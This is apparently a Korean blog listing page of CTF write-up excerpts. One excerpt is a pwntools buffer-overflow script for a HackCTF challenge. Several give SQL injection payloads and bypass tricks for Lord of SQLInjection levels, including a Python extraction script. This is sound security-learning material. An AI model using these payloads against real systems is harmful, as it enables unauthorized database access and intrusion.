hacking(287)
-
HackCTF - j0n9hyun's secret
from pwn import * context.log_level = "debug" r = remote("ctf.j0n9hyun.xyz", 3031) #r = process("./j0n9hyun_secret") e = ELF("./j0n9hyun_secret") l = e.libc r.recv() pay = "" pay += "A"*0x138 pay += p8(3) r.sendline(pay) r.interactive() 페이로드는 위와 같이 풀었다. 바이너리가 다 깨져서 하나하나 어셈보고 풀이했다. 이렇게 어셈 정리해서 read부분에서 읽어올때 fd를 3으로 바꿔주면된다. 3으로 바꿔주는 이유는 이게 중간에 실행되는데 flag파일에 대한 fd가 3이고, top_secret에 대한 fd가 4여서 3으로 바..
2021.02.06 -
22. LOS - dark_eyes
바로 전에 error based가 나왔는데 이번에 if 와 같은 조건문들이 모두 막혀있어서 깜짝 놀랐습니다. https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php?pw=12%27or%271=1%27%20--%20- 참이 나오면 이렇게 나오지만, 쿼리가 거짓이 나오게 되면 아무것도 나오지 않아서 blind error based로 볼 수 있지만 조건문들이 모두 벤먹어서 어떻게 풀어야할지 고민했습니다. 이전에서 select 1 union select 1 구문을 그냥 if문 조건 없이 바로 박으면 되지 않을까 생각했고. https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0..
2021.02.03 -
21. LOS - IRON_GOLEN
처음 접한 error based sqlinjection 이였습니다. if문에서 조건문에 거짓이 나오면 error을 출력하게해서 풀리는 구조의 문제입니다. 처음 쿼리가 이렇게 구성되어있고, sleep과, benchmark 가 벤이 되어있으므로 timebased가 아니라고 생각하였고, '를 잘못입력했는데 에러가 출력되어서 error based인것을 확인했습니다. import requests import string cookies = {'PHPSESSID': '41dujejs6ln5lnj8ni9p7ik5bb'} #https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php?pw=12%27%20or%20substr(pw,1,1)%20=%20%22..
2021.02.02 -
20. LOS - DRAGON
혀누랑 함께 디코로 통화하면서 문제를 풀어서 훨씬 수월하게 풀었다. 현우는 개빡고수인게 분명하다. 처음에 이렇게 나와있는데, #이 한줄 주석이니까 개행문자를 넣어줘서 풀면 될 것 같다고 생각했다. 앞에 guest가 있으니까 and연산으로 앞에를 무효화 시켜주고, 뒤를 or연산으로 admin 박아주면 풀릴것이다. https://los.rubiya.kr/chall/dragon_51996aa769df79afbf79eb4d66dbcef6.php?pw=%27%0a%20and%20pw%20=%20-1%20or%20id%20=%20%27admin%27%20--%20- 이렇게 쿼리를 넣어주니까 query : select id from prob_dragon where id='guest'# and pw='' and pw ..
2021.02.01 -
18. LOS - NIGHTMARE
문제를 보면 pw를 참으로 만들어주고, 뒤를 주석처리해주면 될 것같다. 하지만 -- - 와 # 가 모두 필터링당해서 다른 주석 처리인 ;%00 을 사용해야한다. 앞에 pw 를 찾을 만들어주기 위해서는 sql 자동 형변환을 이용하면되는데 'a'=0 (참) a = int --> 0 이므로 이를 이용하면 된다. 따라서 payload : ?pw=')=0;%00 성공이다.
2021.01.30 -
16. LOS - succubus
예전에 13번이였나 풀면서 어려워서 더 이상 못 풀었던걸로 기억하는데 확실히 그간 성장이 있기는 있었다는 것을 느낀다. 문제 풀면서 접한것들이 많아서인지 보면 기발한 아이디어들이 조금씩 생각나는 것 같다. 해당 문제를 보면 ' 쿼터가 필터링 되어있다. 이를 우회하기 위해서는 흔히 사용하는 파이썬 문법에서 string = "It's me" 라고 표현할때 string = "IT\'s me" 라고 써야 하는것을 다들 알것이다 이를 활용해서 풀었다. 아래와 같이 ?id=\&pw=or 1=1 -- - 이라고 넣어주면 쿼리가 select id from prob_succubus where id='\' and pw='or 1=1 -- -' 밑줄 부분을 id값으로 인식해서 우회가 가능하다 (grin)
2021.01.29